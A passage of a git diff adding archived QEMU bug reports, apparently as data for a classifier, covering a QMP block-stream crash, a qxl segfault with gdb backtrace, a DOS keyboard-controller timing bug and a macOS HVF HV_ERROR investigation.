1175116 /usr/lib/libcrypt-2.17.so +7f054cdfa000-7f054ce28000 rw-p 00000000 00:00 0 +7f054ce28000-7f054ce6c000 r-xp 00000000 08:12 1193776 /usr/lib/libdbus-1.so.3.7.2 +7f054ce6c000-7f054d06c000 ---p 00044000 08:12 1193776 /usr/lib/libdbus-1.so.3.7.2 +7f054d06c000-7f054d06d000 r--p 00044000 08:12 1193776 /usr/lib/libdbus-1.so.3.7.2 +7f054d06d000-7f054d06e000 rw-p 00045000 08:12 1193776 /usr/lib/libdbus-1.so.3.7.2 +7f054d06e000-7f054d0d4000 r-xp 00000000 08:12 792323 /usr/lib/pulseaudio/libpulsecommon-3.0.so +7f054d0d4000-7f054d2d3000 ---p 00066000 08:12 792323 /usr/lib/pulseaudio/libpulsecommon-3.0.so +7f054d2d3000-7f054d2d4000 r--p 00065000 08:12 792323 /usr/lib/pulseaudio/libpulsecommon-3.0.so +7f054d0d4000-7f054d2d3000 ---p 00066000 08:12 792323 /usr/lib/pulseaudio/libpulsecommon-3.0.so +7f054d2d3000-7f054d2d4000 r--p 00065000 08:12 792323 /usr/lib/pulseaudio/libpulsecommon-3.0.so +7f054d2d4000-7f054d2d6000 rw-p 00066000 08:12 792323 /usr/lib/pulseaudio/libpulsecommon-3.0.so +7f054d2d6000-7f054d2df000 r-xp 00000000 08:12 1184982 /usr/lib/libjson.so.0.1.0 +7f054d2df000-7f054d4de000 ---p 00009000 08:12 1184982 /usr/lib/libjson.so.0.1.0 +7f054d4de000-7f054d4df000 r--p 00008000 08:12 1184982 /usr/lib/libjson.so.0.1.0 +7f054d4df000-7f054d4e0000 rw-p 00009000 08:12 1184982 /usr/lib/libjson.so.0.1.0 +7f054d4e0000-7f054d6c0000 r-xp 00000000 08:12 1216755 /usr/lib/libcrypto.so.1.0.0 +7f054d6c0000-7f054d8c0000 ---p 001e0000 08:12 1216755 /usr/lib/libcrypto.so.1.0.0 +7f054d8c0000-7f054d8db000 r--p 001e0000 08:12 1216755 /usr/lib/libcrypto.so.1.0.0 +7f054d8db000-7f054d8e6000 rw-p 001fb000 08:12 1216755 /usr/lib/libcrypto.so.1.0.0 +7f054d8e6000-7f054d8ea000 rw-p 00000000 00:00 0 +7f054d8ea000-7f054d94c000 r-xp 00000000 08:12 1216754 /usr/lib/libssl.so.1.0.0 +7f054d94c000-7f054db4b000 ---p 00062000 08:12 1216754 /usr/lib/libssl.so.1.0.0 +7f054db4b000-7f054db4f000 r--p 00061000 08:12 1216754 /usr/lib/libssl.so.1.0.0 +7f054db4f000-7f054db56000 rw-p 00065000 08:12 1216754 /usr/lib/libssl.so.1.0.0 +7f054db56000-7f054db7d000 r-xp 00000000 08:12 1192299 /usr/lib/libssh2.so.1.0.1 +7f054db7d000-7f054dd7d000 ---p 00027000 08:12 1192299 /usr/lib/libssh2.so.1.0.1 +7f054dd7d000-7f054dd7e000 r--p 00027000 08:12 1192299 /usr/lib/libssh2.so.1.0.1 +7f054dd7e000-7f054dd7f000 rw-p 00028000 08:12 1192299 /usr/lib/libssh2.so.1.0.1 +7f054dd7f000-7f054dd80000 rw-p 00000000 00:00 0 +7f054dd80000-7f054dd83000 r-xp 00000000 08:12 1175118 /usr/lib/libdl-2.17.so +7f054dd83000-7f054df82000 ---p 00003000 08:12 1175118 /usr/lib/libdl-2.17.so +7f054df82000-7f054df83000 r--p 00002000 08:12 1175118 /usr/lib/libdl-2.17.so +7f054df83000-7f054df84000 rw-p 00003000 08:12 1175118 /usr/lib/libdl-2.17.so +7f054df84000-7f054df87000 r-xp 00000000 08:12 1195020 /usr/lib/libplds4.so +7f054df87000-7f054e186000 ---p 00003000 08:12 1195020 /usr/lib/libplds4.so +7f054e186000-7f054e187000 r--p 00002000 08:12 1195020 /usr/lib/libplds4.so +7f054e187000-7f054e188000 rw-p 00003000 08:12 1195020 /usr/lib/libplds4.so +7f054e188000-7f054e18c000 r-xp 00000000 08:12 1195021 /usr/lib/libplc4.so +7f054e18c000-7f054e38b000 ---p 00004000 08:12 1195021 /usr/lib/libplc4.so +7f054e38b000-7f054e38c000 r--p 00003000 08:12 1195021 /usr/lib/libplc4.so +7f054e38c000-7f054e38d000 rw-p 00004000 08:12 1195021 /usr/lib/libplc4.so +7f054e38d000-7f054e38e000 rw-p 00000000 00:00 0 +7f054e38e000-7f054e3b3000 r-xp 00000000 08:12 1195095 /usr/lib/libnssutil3.so +7f054e3b3000-7f054e5b2000 ---p 00025000 08:12 1195095 /usr/lib/libnssutil3.so +7f054e5b2000-7f054e5b8000 r--p 00024000 08:12 1195095 /usr/lib/libnssutil3.so +7f054e5b8000-7f054e5b9000 rw-p 0002a000 08:12 1195095 /usr/lib/libnssutil3.so +7f054e5b9000-7f054e61a000 r-xp 00000000 08:12 1183254 /usr/lib/libpcre.so.1.2.0 +7f054e61a000-7f054e81a000 ---p 00061000 08:12 1183254 /usr/lib/libpcre.so.1.2.0 +7f054e81a000-7f054e81b000 r--p 00061000 08:12 1183254 /usr/lib/libpcre.so.1.2.0 +7f054e81b000-7f054e81c000 rw-p 00062000 08:12 1183254 /usr/lib/libpcre.so.1.2.0 +7f054e81c000-7f054e9c0000 r-xp 00000000 08:12 1175073 /usr/lib/libc-2.17.so +7f054e9c0000-7f054ebbf000 ---p 001a4000 08:12 1175073 /usr/lib/libc-2.17.so +7f054ebbf000-7f054ebc3000 r--p 001a3000 08:12 1175073 /usr/lib/libc-2.17.so +7f054ebc3000-7f054ebc5000 rw-p 001a7000 08:12 1175073 /usr/lib/libc-2.17.so +7f054ebc5000-7f054ebca000 rw-p 00000000 00:00 0 +7f054ebca000-7f054ebdf000 r-xp 00000000 08:12 1181365 /usr/lib/libz.so.1.2.7 +7f054ebdf000-7f054edde000 ---p 00015000 08:12 1181365 /usr/lib/libz.so.1.2.7 +7f054edde000-7f054eddf000 r--p 00014000 08:12 1181365 /usr/lib/libz.so.1.2.7 +7f054eddf000-7f054ede0000 rw-p 00015000 08:12 1181365 /usr/lib/libz.so.1.2.7 +7f054ede0000-7f054eedd000 r-xp 00000000 08:12 1175074 /usr/lib/libm-2.17.so +7f054eedd000-7f054f0dc000 ---p 000fd000 08:12 1175074 /usr/lib/libm-2.17.so +7f054f0dc000-7f054f0dd000 r--p 000fc000 08:12 1175074 /usr/lib/libm-2.17.so +7f054f0dd000-7f054f0de000 rw-p 000fd000 08:12 1175074 /usr/lib/libm-2.17.so +7f054f0de000-7f054f211000 r-xp 00000000 08:12 1197495 /usr/lib/libX11.so.6.3.0 +7f054f211000-7f054f411000 ---p 00133000 08:12 1197495 /usr/lib/libX11.so.6.3.0 +7f054f411000-7f054f412000 r--p 00133000 08:12 1197495 /usr/lib/libX11.so.6.3.0 +7f054f412000-7f054f417000 rw-p 00134000 08:12 1197495 /usr/lib/libX11.so.6.3.0 +7f054f417000-7f054f47f000 r-xp 00000000 08:12 1207484 /usr/lib/libSDL-1.2.so.0.11.4 +7f054f47f000-7f054f67f000 ---p 00068000 08:12 1207484 /usr/lib/libSDL-1.2.so.0.11.4 +7f054f67f000-7f054f680000 r--p 00068000 08:12 1207484 /usr/lib/libSDL-1.2.so.0.11.4 +7f054f680000-7f054f681000 rw-p 00069000 08:12 1207484 /usr/lib/libSDL-1.2.so.0.11.4 +7f054f681000-7f054f6af000 rw-p 00000000 00:00 0 +7f054f6af000-7f054f7b1000 r-xp 00000000 08:12 1200422 /usr/lib/libgnutls.so.28.16.1 +7f054f7b1000-7f054f9b1000 ---p 00102000 08:12 1200422 /usr/lib/libgnutls.so.28.16.1 +7f054f9b1000-7f054f9b9000 r--p 00102000 08:12 1200422 /usr/lib/libgnutls.so.28.16.1 +7f054f9b9000-7f054f9bb000 rw-p 0010a000 08:12 1200422 /usr/lib/libgnutls.so.28.16.1 + +On Thu, Mar 07, 2013 at 11:02:07AM -0000, Helge Rausch wrote: +> When a block-stream is initiated via QMP and the QMP socket is closed on +> client side before the job is finished, QEMU crashes with a buffer +> overflow, somewhere at the end of the streaming process. +> +> Without QMP I can stream via the HMP without problems. After crashing, I +> cannot boot from the active image anymore. +> +> I was able to reproduce this with qemu-kvm and qemu-system-x86_64 on two +> different machines. +> +> Version: +> QEMU emulator version 1.2.0 (qemu-kvm-1.2.0), Copyright (c) 2003-2008 Fabrice Bellard + +I cannot reproduce this with qemu-system-x86-1.2.2-6.fc18.x86_64. + +> I started QEMU with the following script: +> +> qemu-kvm \ +> -monitor vc \ +> -m 512 \ +> -hda "$1" \ +> -net nic,vlan=0 \ +> -net user,vlan=0 \ +> -localtime \ +> -smp 2 \ +> -qmp tcp:localhost:4444,server,nowait + +I used your command-line and the following QMP commands: + +$ QMP/qmp-shell localhost:4444 +(QEMU) blockdev-snapshot-sync device=ide0-hd0 snapshot-file=test2.qcow2 +(QEMU) block-stream ide0-hd0 +(QEMU) query-block-jobs +...output shows the job running... +(QEMU) Ctrl+D + +The block job completes successfully and I get no crash. + +Please try qemu.git/master to see if the bug is still there for you: + +$ git clone git://git.qemu-project.org/qemu.git +$ cd qemu +$ ./configure --target-list=x86_64-softmmu +$ make +$ x86_64-softmmu/qemu-system-x86_64-softmmu -enable-kvm ... + +Stefan + + +I cannot reproduce it anymore on master. One option we now have without building it ourselves is using 1.4.0 from Ubuntu's raring derivate. Would you consider that stable enough for production use (the qemu package, not raring)? + +On Thu, Mar 07, 2013 at 06:14:27PM -0000, Helge Rausch wrote: +> I cannot reproduce it anymore on master. One option we now have without +> building it ourselves is using 1.4.0 from Ubuntu's raring derivate. +> Would you consider that stable enough for production use (the qemu +> package, not raring)? + +QEMU 1.4.0 is a stable release, it is intended for production use. + +I can't speak for Ubuntu packaging of QEMU 1.4.0, perhaps check the bug +tracker to see if there are known issues with the package. + +Stefan + + +Alright. Thank you! + +1.4.0 is the intended stable release for Ubuntu raring. + diff --git a/results/classifier/deepseek-1/output/QEMU./1243639 b/results/classifier/deepseek-1/output/QEMU./1243639 new file mode 100644 index 00000000..03ff20e3 --- /dev/null +++ b/results/classifier/deepseek-1/output/QEMU./1243639 @@ -0,0 +1,115 @@ + +qemu-1.5.3 segment fault with -vga qxl + +execute " qemu-system-x86_64 -enable-kvm -machine accel=kvm:tcg -m 1G -drive file=/dev/sda --full-screen -spice addr=127.0.0.1,port=5900,disable-ticketing -vga qxl " on shell will get segment fault after a few seconds if I don't connect to it with spicec client immediately. + +IF excute "spicec -h 127.0.0.1 -p 5900 " immediately !!!! after the qemu-system-x86_64 execution, then no segment fault happens and it runs well. + +===================== + +GDB output: + +root@kali-john:~# gdb /usr/local/bin/qemu-system-x86_64 +GNU gdb (GDB) 7.4.1-debian +(gdb) run -enable-kvm -machine accel=kvm:tcg -m 1G -drive file=/dev/sda --full-screen -spice addr=127.0.0.1,port=5900,disable-ticketing -vga qxl + +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". +[New Thread 0x7ffff3737700 (LWP 14797)] +[New Thread 0x7ffff2d54700 (LWP 14798)] +[New Thread 0x7ffff0fff700 (LWP 14799)] + +Program received signal SIGSEGV, Segmentation fault. +0x00007ffff683ad70 in pixman_image_get_data () from /usr/lib/x86_64-linux-gnu/libpixman-1.so.0 +(gdb) bt +#0 0x00007ffff683ad70 in pixman_image_get_data () from /usr/lib/x86_64-linux-gnu/libpixman-1.so.0 +#1 0x000055555581060a in surface_data (s=0x5555566183a0) at /zh-download/QEMU/qemu-1.5.3/include/ui/console.h:235 +#2 0x0000555555818616 in vga_draw_graphic (s=0x55555662c778, full_update=1) at /zh-download/QEMU/qemu-1.5.3/hw/display/vga.c:1788 +#3 0x0000555555818c6a in vga_update_display (opaque=0x55555662c778) at /zh-download/QEMU/qemu-1.5.3/hw/display/vga.c:1917 +#4 0x000055555580eb15 in qxl_hw_update (opaque=0x55555662bd70) at /zh-download/QEMU/qemu-1.5.3/hw/display/qxl.c:1766 +#5 0x00005555557bd6bc in graphic_hw_update (con=0x555556618d00) at ui/console.c:254 +#6 0x00005555557c8426 in qemu_spice_display_refresh (ssd=0x55555662c418) at ui/spice-display.c:417 +#7 0x000055555580eff0 in display_refresh (dcl=0x55555662c420) at /zh-download/QEMU/qemu-1.5.3/hw/display/qxl.c:1886 +#8 0x00005555557c0cb1 in dpy_refresh (s=0x555556618370) at ui/console.c:1436 +#9 0x00005555557bd3af in gui_update (opaque=0x555556618370) at ui/console.c:192 +#10 0x0000555555797f20 in qemu_run_timers (clock=0x5555565b5a30) at qemu-timer.c:394 +#11 0x0000555555798183 in qemu_run_all_timers () at qemu-timer.c:453 +#12 0x0000555555760bb7 in main_loop_wait (nonblocking=0) at main-loop.c:470 +#13 0x00005555557cd19c in main_loop () at vl.c:2029 +#14 0x00005555557d43f2 in main (argc=13, argv=0x7fffffffe2b8, envp=0x7fffffffe328) at vl.c:4419 +(gdb) + + +====================== + +http://www.spice-space.org/download/releases/spice-0.12.4.tar.bz2 +http://www.spice-space.org/download/releases/spice-protocol-0.12.6.tar.bz2 +spice compiling + ./configure --enable-smartcard=no && make + +qemu-1.5.3 +compiling + ./configure \ +--disable-strip --enable-debug \ +--target-list=x86_64-softmmu,x86_64-linux-user \ +--disable-sdl --audio-drv-list=alsa --disable-vnc --disable-xen --disable-libiscsi \ + --disable-seccomp --disable-glusterfs --disable-libssh2 --disable-smartcard-nss \ + --disable-usb-redir --disable-brlapi --disable-curl --disable-bsd-user \ + \ +--enable-kvm --enable-spice --enable-system --enable-guest-agent --enable-vhost-net + + +root@kali-john:~# qemu-system-x86_64 -version +QEMU emulator version 1.5.3, Copyright (c) 2003-2008 Fabrice Bellard + +/usr/local/bin/qemu-system-x86_64 -enable-kvm -machine accel=kvm:tcg -m 1G -drive file=/dev/sda -vga qxl + +will give same error + +a funny thing: + +if I change the "-drive file=/dev/sda" to "-drive file=/dev/sdb" , it will not run into "segment fault". + +The different between sda & sdb is as following: + linux is installed on /dev/sda and /dev/sdb is another physical hard driver. + +================================================================= + +When change /dev/sda to /dev/sdb , it works well as following: + +(gdb) run -enable-kvm -machine accel=kvm:tcg -m 1G -drive file=/dev/sdb --full-screen -spice addr=127.0.0.1,port=5900,disable-ticketing -vga qxl +The program being debugged has been started already. +Start it from the beginning? (y or n) y + +Starting program: /usr/local/bin/qemu-system-x86_64 -enable-kvm -machine accel=kvm:tcg -m 1G -drive file=/dev/sdb --full-screen -spice addr=127.0.0.1,port=5900,disable-ticketing -vga qxl +warning: Could not load shared library symbols for linux-vdso.so.1. +Do you need "set solib-search-path" or "set sysroot"? +[Thread debugging using libthread_db enabled] +Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1". +[New Thread 0x7ffff3737700 (LWP 15056)] +[New Thread 0x7ffff2d54700 (LWP 15057)] +[New Thread 0x7ffff0fff700 (LWP 15058)] +[Thread 0x7ffff3737700 (LWP 15056) exited] + +--- No segment fault error any more !! + +It will run into segment fault with /dev/sda but without -vga qxl + + +The qemu & the Host linux OS is iinstalled on /dev/sda + +sorry to mistake + +======== + +The truth is that + +t will NOT run into segment fault with /dev/sda but without -vga qxl + +The qemu & the Host linux OS is iinstalled on /dev/sda + + +Triaging old bug tickets ... QEMU 1.5 is quite old already - can you still reproduce the crash with the latest version of QEMU? + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/QEMU./1574246 b/results/classifier/deepseek-1/output/QEMU./1574246 new file mode 100644 index 00000000..de0acb0b --- /dev/null +++ b/results/classifier/deepseek-1/output/QEMU./1574246 @@ -0,0 +1,81 @@ + +Drunken keyboard in go32v2 programs + +QEMU 2.5.0, SeaBIOS 1.9.1; I've been noticing this bug for quite a while, though. + +Steps to reproduce: + +# Create a VM image, install DOS in it (doesn't matter which) and launch it. +# Launch a "bare DOS" DPMI host (not an operating system) in it; I tested with CWSDPMI and HDPMI32. +# Run a go32v2 program which reads keyboard input (say, the Lua interpreter: <http://www.ibiblio.org/pub/micro/pc-stuff/freedos/files/distributions/1.1/repos/devel/lua.zip>; the Free Pascal IDE will also do; on the other hand, DOS/4GW programs seem unaffected). +# Quickly type in something random (e.g. alternate between hitting "p" and "q"), then optionally move the cursor left and right. +# Observe how some keystrokes are missed, and some are caught twice. + +The issue does NOT arise: +* on bare metal DOS, +* in VirtualBox, +* in Bochs with stock Plex86 BIOS, +* in Bochs with SeaBIOS, +* in DOSEMU, +* in DOSBox, +* in QEMU when the DPMI host is Windows 3.11/9x +so at this point I'm reasonably sure that it's the fault of either QEMU or SeaBIOS, and probably the former. The issue arises regardless of whether KVM is enabled. + +I compiled the latest git snapshot (tag: v2.6.0-rc4, calling itself 2.5.94; with GTK frontend) and could only half-reproduce the bug; keys do not longer "jam", but arrow keys are still captured twice. I woudn't make much of that difference; this bug seems very timing-sensitive. It could be that the GTK frontend adds sufficient latency to the interface to avoid triggering it. + +I enabled some debugging switches and recompiled both QEMU and the latest git snapshot of SeaBIOS (1.9.0-127; commit c8e105a4d5e52e8e7539ab1f2cd07ebe0ae9033a). This is what I got when running programs affected by this bug: + +(key press) +[qemu ] ps2_queue(0xe0) +[qemu ] ps2_queue(0x4d) +(IRQ1) +[qemu ] KBD: kbd: read data=0xe0 ← (***) +[seabios] handle_09 +[qemu ] KBD: kbd: read status=0x1d +[qemu ] KBD: kbd: read data=0x4d +[seabios] i8042_command cmd=ae +[seabios] i8042_wait_write +[qemu ] KBD: kbd: read status=0x1c +[qemu ] KBD: kbd: write cmd=0xae +(IRQ1) +[qemu ] KBD: kbd: read data=0x4d ← (***) +[seabios] handle_09 +[qemu ] KBD: kbd: read status=0x1c +[qemu ] KBD: kbd: read data=0x4d +[seabios] i8042_command cmd=ae +[seabios] i8042_wait_write +[qemu ] KBD: kbd: read status=0x1c +[qemu ] KBD: kbd: write cmd=0xae + +Reads marked (***) do not appear when running unaffected programs. So it appears something is making reads from the keyboard controller before SeaBIOS has a chance to put scancodes in the ring buffer. And indeed: DJGPP libc installs a custom IRQ1 handler which does it to detect whether it should raise SIGINT in response to Ctrl+C; it can be found in the file src/libc/go32/exceptn.S in the djcrx package[1]. Free Pascal incorporates this handler into its RTL with almost no changes; it's found in rtl/go32v2/exceptn.as[2]. I also noticed I can reproduce this bug with Borland Pascal 7; lo and behold, the Turbo Vision library does something similar. + +SeaBIOS gets extra confused when I send some mouse events to QEMU (grab the mouse, move it around, ungrab); it reacts with a "ps2 keyboard irq but found mouse data?!" message and refuses to put keys in the ring buffer until the queue of mouse events becomes empty. + +That's the culprit, I think. It also explains why the bug doesn't appear under Windows; because port 0x60 reads from DPMI are simulated, they don't correspond to actual port 0x60 reads in the guest. I don't know what the fix ought be; documentation about the i8042 that I found is unclear about what real hardware does in this case. + +If I'm reading the code correctly, DOSEMU[3] (also the DOSEMU2 fork[4]), DOSBox[5], Bochs[6] and VirtualBox[7] keep one value to be read from 0x60 at until the next interrupt, avoiding the issue. + +[1] <http://www.delorie.com/bin/cvsweb.cgi/djgpp/src/libc/go32/exceptn.S?rev=1.7>; function ___djgpp_kbd_hdlr +[2] <http://svn.freepascal.org/cgi-bin/viewvc.cgi/trunk/rtl/go32v2/exceptn.as?revision=8210&view=co>; function ___djgpp_kbd_hdlr +[3] <https://sourceforge.net/p/dosemu/code/ci/8897222f8830e0bd2769935f611a0e5c3271bcb9/tree/src/plugin/kbd_unicode/serv_8042.c> +[4] <https://github.com/stsp/dosemu2/blob/69419c7a5430f0109f9df45b179d9b223b075550/src/plugin/kbd_unicode/serv_8042.c> +[5] <https://sourceforge.net/p/dosbox/code-0/3961/tree/dosbox/trunk/src/ints/bios_keyboard.cpp> +[6] <https://sourceforge.net/p/bochs/code/12853/tree/trunk/bochs/iodev/keyboard.cc> +[7] <https://www.virtualbox.org/browser/vbox/trunk/src/VBox/Devices/Input/DevPS2.cpp?rev=60404> + + +The QEMU project is currently considering to move its bug tracking to +another system. For this we need to know which bugs are still valid +and which could be closed already. Thus we are setting older bugs to +"Incomplete" now. + +If you still think this bug report here is valid, then please switch +the state back to "New" within the next 60 days, otherwise this report +will be marked as "Expired". Or please mark it as "Fix Released" if +the problem has been solved with a newer version of QEMU already. + +Thank you and sorry for the inconvenience. + + +[Expired for QEMU because there has been no activity for 60 days.] + diff --git a/results/classifier/deepseek-1/output/QEMU./1818937 b/results/classifier/deepseek-1/output/QEMU./1818937 new file mode 100644 index 00000000..dcab7ed5 --- /dev/null +++ b/results/classifier/deepseek-1/output/QEMU./1818937 @@ -0,0 +1,247 @@ + +Crash with HV_ERROR on macOS host + +On macOS host running Windows 10 guest, qemu crashed with error message: Error: HV_ERROR. + +Host: macOS Mojave 10.14.3 (18D109) Late 2014 Mac mini presumably Core i5 4278U. +QEMU: git commit a3e3b0a7bd5de211a62cdf2d6c12b96d3c403560 +QEMU parameter: qemu-system-x86_64 -m 3000 -drive file=disk.img,if=virtio,discard=unmap -accel hvf -soundhw hda -smp 3 + +thread list +Process 56054 stopped + thread #1: tid = 0x2ffec8, 0x00007fff48d0805a vImage`vLookupTable_Planar16 + 970, queue = 'com.apple.main-thread' + thread #2: tid = 0x2ffecc, 0x00007fff79d6d7de libsystem_kernel.dylib`__psynch_cvwait + 10 + thread #3: tid = 0x2ffecd, 0x00007fff79d715aa libsystem_kernel.dylib`__select + 10 + thread #4: tid = 0x2ffece, 0x00007fff79d71d9a libsystem_kernel.dylib`__sigwait + 10 +* thread #6: tid = 0x2ffed0, 0x00007fff79d7023e libsystem_kernel.dylib`__pthread_kill + 10, stop reason = signal SIGABRT + thread #7: tid = 0x2ffed1, 0x00007fff79d6d7de libsystem_kernel.dylib`__psynch_cvwait + 10 + thread #8: tid = 0x2ffed2, 0x00007fff79d6d7de libsystem_kernel.dylib`__psynch_cvwait + 10 + thread #11: tid = 0x2fff34, 0x00007fff79d6a17a libsystem_kernel.dylib`mach_msg_trap + 10, name = 'com.apple.NSEventThread' + thread #30: tid = 0x300c04, 0x00007fff79e233f8 libsystem_pthread.dylib`start_wqthread + thread #31: tid = 0x300c16, 0x00007fff79e233f8 libsystem_pthread.dylib`start_wqthread + thread #32: tid = 0x300c17, 0x0000000000000000 + thread #33: tid = 0x300c93, 0x00007fff79d6d7de libsystem_kernel.dylib`__psynch_cvwait + 10 + + +Crashed thread: + +* thread #6, stop reason = signal SIGABRT + * frame #0: 0x00007fff79d7023e libsystem_kernel.dylib`__pthread_kill + 10 + frame #1: 0x00007fff79e26c1c libsystem_pthread.dylib`pthread_kill + 285 + frame #2: 0x00007fff79cd91c9 libsystem_c.dylib`abort + 127 + frame #3: 0x000000010baa476d qemu-system-x86_64`assert_hvf_ok(ret=<unavailable>) at hvf.c:106 [opt] + frame #4: 0x000000010baa4c8f qemu-system-x86_64`hvf_vcpu_exec(cpu=0x00007f8e5283de00) at hvf.c:681 [opt] + frame #5: 0x000000010b988423 qemu-system-x86_64`qemu_hvf_cpu_thread_fn(arg=0x00007f8e5283de00) at cpus.c:1636 [opt] + frame #6: 0x000000010bd9dfce qemu-system-x86_64`qemu_thread_start(args=<unavailable>) at qemu-thread-posix.c:502 [opt] + frame #7: 0x00007fff79e24305 libsystem_pthread.dylib`_pthread_body + 126 + frame #8: 0x00007fff79e2726f libsystem_pthread.dylib`_pthread_start + 70 + frame #9: 0x00007fff79e23415 libsystem_pthread.dylib`thread_start + 13 + +I can reproduce this by booting the Windows 10 x64 install ISO with the command line: + ++ WINIMG=Win10.iso ++ VIRTIMG=virtio-win-0.1.164.iso ++ qemu-system-x86_64 -accel hvf -drive driver=raw,file=Win10.img,if=virtio -m 1536 -net nic,model=virtio -net user -cdrom Win10.iso -drive file=virtio-win-0.1.164.iso,index=3,media=cdrom -rtc base=localtime,clock=host -smp cores=2 -usb -device usb-tablet -net user +qemu-system-x86_64: warning: host doesn't support requested feature: CPUID.80000001H:ECX.svm [bit 2] +qemu-system-x86_64: warning: host doesn't support requested feature: CPUID.80000001H:ECX.svm [bit 2] +Unimplemented handler (fffff80641601c38) for 0 (f 11) +Unimplemented handler (fffff8064160192f) for 0 (f 7f) +qemu-system-x86_64: Error: HV_ERROR +./qemu-boot.sh: line 20: 32294 Abort trap: 6 qemu-system-x86_64 -accel hvf -drive driver=raw,file=Win10.img,if=virtio -m 1536 -net nic,model=virtio -net user -cdrom ${WINIMG} -drive file=${VIRTIMG},index=3,media=cdrom -rtc base=localtime,clock=host -smp cores=2 -usb -device usb-tablet -net user + +^This is on version: + +% qemu-system-x86_64 --version +QEMU emulator version 4.0.50 (v4.0.0-rc4-52-g3284aa1281-dirty) +Copyright (c) 2003-2019 Fabrice Bellard and the QEMU Project developers + +I'm looking into the issue... HV_ERROR is a high-level return value and doesn't give enough details about the nature of the error. The error is returned from vmexit handler in AppleHV.kext (which implements kernel part of Hypervisor.framework). Perhaps we should extract more data from the VMCS and print it before aborting the execution. + +We can reproduce this problem with Linux guests as well (running 4.15 Ubuntu Xenial and 4.14 Android kernels). Mac models with integrated GPU seem to be more affected according to our testing, and the crash does not always occur, needs multiple tries to be triggered. We would be happy to assist in debugging, once you have a patch that can generate more detailed logs. + +For the triage of the issue we need the following VMCS fields: +* instruction error +* exit reason +* exit qualification + +On my machine (with macOS 10.14.5) each time QEMU exits with HV_ERROR, AppleHV spills the following error into system log: +2019-07-06 10:38:56.148547+0300 0x1e3ee4 Default 0x0 0 0 kernel: (AppleHV) AppleHV: /BuildRoot/Library/Caches/com.apple.xbs/Sources/Hypervisor/Hypervisor-31.230.1/kext/x86/vmx/hv_vmx_vcpu.cpp : hv_return_t hv_vmx_vcpu_t::hv_vmx_vcpu_run() +: 997 + +Such log lines can be read with the command: +$ log show -predicate 'senderImagePath CONTAINS "AppleHV"' + +The error above can only happen if vmlaunch or vmresume has failed and RFLAGS has either CF or ZF (or both) set to 1, according to Intel SDM. Unfortunately the exact RFLAGS value is not logged by Hypervisor.framework. I have submitted a feedback report (FB6787376) to log RFLAGS if it's not zero immediately after vmlaunch/vmresume. + +If you wish to assist in debugging of the issue, please build and use QEMU from the branch: +https://github.com/roolebo/qemu/tree/debug-hv-error + +Or apply the patch to your tree: +https://github.com/roolebo/qemu/commit/f8098782573a89fc323d8dcae2d5445335e626f0.diff + +The log line I've got is the following: +➜ vms ~/dev/qemu/x86_64-softmmu/qemu-system-x86_64 -accel hvf -m 2G -cdrom ~/Downloads/ubuntu-18.04.2-desktop-amd64.iso -hda ubuntu.qc +ow2 +qemu-system-x86_64: warning: host doesn't support requested feature: CPUID.80000001H:ECX.svm [bit 2] +qemu-system-x86_64: hv_vcpu_run failed +qemu-system-x86_64: instruction error: 0x0000000000000007 +qemu-system-x86_64: exit reason: 0x0000000000000030 +qemu-system-x86_64: exit qualification: 0x0000000000000083 +qemu-system-x86_64: pri proc based ctls: 0x0000000095206dfa +qemu-system-x86_64: sec proc based ctls: 0x00000000000000a3 +qemu-system-x86_64: eptp: 0x000000000000003f +qemu-system-x86_64: gpa: 0x000000007d9ef000 +qemu-system-x86_64: gla: 0xfffffe0000000ec0 +qemu-system-x86_64: Error: HV_ERROR + + +Instruction error is 0x7 and Intel SDM 31-4 Vol. 3C states that: +The processor checks on the VMX controls and host-state area. If any of these checks fail, the VM-entry instruction fails. RFLAGS.ZF is set to 1 and either 7 (VM entry with invalid control field(s)) or 8 (VM entry with invalid host-state field(s)) is saved in the VM-instruction error field. + +Hi Roman, + +thanks for the patch, we were able to reproduce this issue with our custom Android Cuttlefish based d VM (running 4.14 kernel): + +2019-07-23T11:36:37.180753Z qemu-system-x86_64: warning: host doesn't support requested feature: CPUID.80000001H:ECX.svm [bit 2] +2019-07-23T11:36:37.182517Z qemu-system-x86_64: warning: host doesn't support requested feature: CPUID.80000001H:ECX.svm [bit 2] +2019-07-23T11:37:54.647855Z qemu-system-x86_64: hv_vcpu_run failed +2019-07-23T11:37:54.650737Z qemu-system-x86_64: exit reason: 0x0000000000000030 +2019-07-23T11:37:54.661753Z qemu-system-x86_64: exit qualification: 0x0000000000000981 +2019-07-23T11:37:54.661769Z qemu-system-x86_64: instruction error: 0x0000000000000007 +2019-07-23T11:37:54.661780Z qemu-system-x86_64: pri proc based ctls: 0x0000000095206dfa +2019-07-23T11:37:54.661790Z qemu-system-x86_64: sec proc based ctls: 0x00000000000000a3 +2019-07-23T11:37:54.661799Z qemu-system-x86_64: eptp: 0x000000000000003f +2019-07-23T11:37:54.661810Z qemu-system-x86_64: gpa: 0x000000007fd05004 +2019-07-23T11:37:54.661820Z qemu-system-x86_64: gla: 0xfffffe000002f004 +2019-07-23T11:37:54.661828Z qemu-system-x86_64: Error: HV_ERROR + +The error happened right at startup, after multiple tries. + +Thank you, +Gergely + +My guess is that RFLAGS.ZF == 1 and one or a few of the checks on VMX controls have failed. So far I have verified the following checks (26-2 and 26-3 in Intel SDM Vol. 3C): +* Reserved bits in Pin-based VM execution controls are set according to associated capabilities MSR +* Reserved bits in Primary Proc-based VM execution controls are set according to associated capabilities MSR +* Reserved bits in Secondary Proc-based VM execution controls are set according to associated capabilities MSR +* CR-3 target count is not greater than 4. (the count is 0) +* Use I/O bitmaps check is not applicable because "use I/O bitmaps" VM-execution control is 0. +* Reserved bits in VM-exit controls are set according to associated capabilities MSR +* Reserved bits in VM-entry controls are set according to associated capabilities MSR + +However, the MSR-bitmap Address check might fail: +"If the “use MSR bitmaps” VM-execution control is 1, bits 11:0 of the MSR-bitmap address must be 0. The address should not set any bits beyond the processor’s physical-address width." + +Bit 28 in Pin-based VM execution controls is set to 1 while the MSR address has bits 5:1 set to 1 (0x3f). There's no way to disable the "use MSR bitmaps" execution control so I'll try to make a patch that sets 4k-page aligned MSR bitmap address. + +Updated log lines show the VMX capabilities for the control fields and VMCS fields related to the failure: +qemu-system-x86_64: hv_vcpu_run failed +qemu-system-x86_64: exit reason: 0x0000000000000030 +qemu-system-x86_64: exit qualification: 